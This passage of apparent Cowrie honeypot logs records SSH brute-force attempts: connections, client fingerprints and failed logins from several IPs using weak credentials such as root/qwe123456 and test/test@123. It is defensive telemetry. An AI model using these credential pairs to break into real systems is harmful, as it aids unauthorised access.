mac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:44.624845Z","src_ip":"176.65.139.103","session":"e30b93c41203","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:44.907322Z","src_ip":"176.65.139.103","session":"e30b93c41203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:46.123116Z","src_ip":"176.65.139.103","session":"e30b93c41203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54778,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f0a21e028e2","protocol":"ssh","message":"New connection: 159.203.92.129:54778 (159.203.135.109:22) [session: 1f0a21e028e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:51.817687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:51.822634Z","src_ip":"159.203.92.129","session":"1f0a21e028e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:51.827409Z","src_ip":"159.203.92.129","session":"1f0a21e028e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"12345","message":"login attempt [ansible/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:51.839473Z","src_ip":"159.203.92.129","session":"1f0a21e028e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53644,"dst_ip":"10.17.0.5","dst_port":22,"session":"bec71d5231d2","protocol":"ssh","message":"New connection: 176.65.139.103:53644 (10.17.0.5:22) [session: bec71d5231d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:51.940685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:51.967169Z","src_ip":"176.65.139.103","session":"bec71d5231d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:52.032774Z","src_ip":"176.65.139.103","session":"bec71d5231d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:52.474807Z","src_ip":"176.65.139.103","session":"bec71d5231d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:52.845630Z","src_ip":"159.203.92.129","session":"1f0a21e028e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:53.639873Z","src_ip":"176.65.139.103","session":"bec71d5231d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.13140892982483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:55.724978Z","src_ip":"104.156.51.106","session":"39e3d29a83cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50232,"dst_ip":"10.17.0.5","dst_port":22,"session":"562794faaa47","protocol":"ssh","message":"New connection: 176.65.139.103:50232 (10.17.0.5:22) [session: 562794faaa47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:59.701607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:59.742077Z","src_ip":"176.65.139.103","session":"562794faaa47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:03:59.799317Z","src_ip":"176.65.139.103","session":"562794faaa47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:00.123616Z","src_ip":"176.65.139.103","session":"562794faaa47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:01.258775Z","src_ip":"176.65.139.103","session":"562794faaa47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":32768,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3afafe8d989","protocol":"ssh","message":"New connection: 103.176.20.115:32768 (10.17.0.5:22) [session: f3afafe8d989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:06.159397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:06.164634Z","src_ip":"103.176.20.115","session":"f3afafe8d989","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:06.422038Z","src_ip":"103.176.20.115","session":"f3afafe8d989","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35612,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a5d60f9db29","protocol":"ssh","message":"New connection: 176.65.139.103:35612 (10.17.0.5:22) [session: 3a5d60f9db29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:07.134820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:07.139456Z","src_ip":"176.65.139.103","session":"3a5d60f9db29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:07.242105Z","src_ip":"176.65.139.103","session":"3a5d60f9db29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test.","message":"login attempt [test/test.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:07.472907Z","src_ip":"103.176.20.115","session":"f3afafe8d989","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:07.845480Z","src_ip":"176.65.139.103","session":"3a5d60f9db29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:08.732116Z","src_ip":"103.176.20.115","session":"f3afafe8d989","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:08.943741Z","src_ip":"176.65.139.103","session":"3a5d60f9db29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":46602,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3c58d9c9939","protocol":"ssh","message":"New connection: 202.184.144.220:46602 (10.17.0.5:22) [session: a3c58d9c9939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:09.170500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:09.175705Z","src_ip":"202.184.144.220","session":"a3c58d9c9939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:09.417023Z","src_ip":"202.184.144.220","session":"a3c58d9c9939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"ftp_user","message":"login attempt [ftp_user/ftp_user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:10.413568Z","src_ip":"202.184.144.220","session":"a3c58d9c9939","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:11.659925Z","src_ip":"202.184.144.220","session":"a3c58d9c9939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45218,"dst_ip":"10.17.0.5","dst_port":22,"session":"e12f9f3b5243","protocol":"ssh","message":"New connection: 176.65.139.103:45218 (10.17.0.5:22) [session: e12f9f3b5243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:13.969851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:14.047379Z","src_ip":"176.65.139.103","session":"e12f9f3b5243","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:14.127178Z","src_ip":"176.65.139.103","session":"e12f9f3b5243","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:14.723984Z","src_ip":"176.65.139.103","session":"e12f9f3b5243","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:15.894638Z","src_ip":"176.65.139.103","session":"e12f9f3b5243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45250,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c8be88baeda","protocol":"ssh","message":"New connection: 176.65.139.103:45250 (10.17.0.5:22) [session: 2c8be88baeda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:21.093863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:21.098582Z","src_ip":"176.65.139.103","session":"2c8be88baeda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:21.180439Z","src_ip":"176.65.139.103","session":"2c8be88baeda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:21.431687Z","src_ip":"176.65.139.103","session":"2c8be88baeda","protocol":"ssh"}
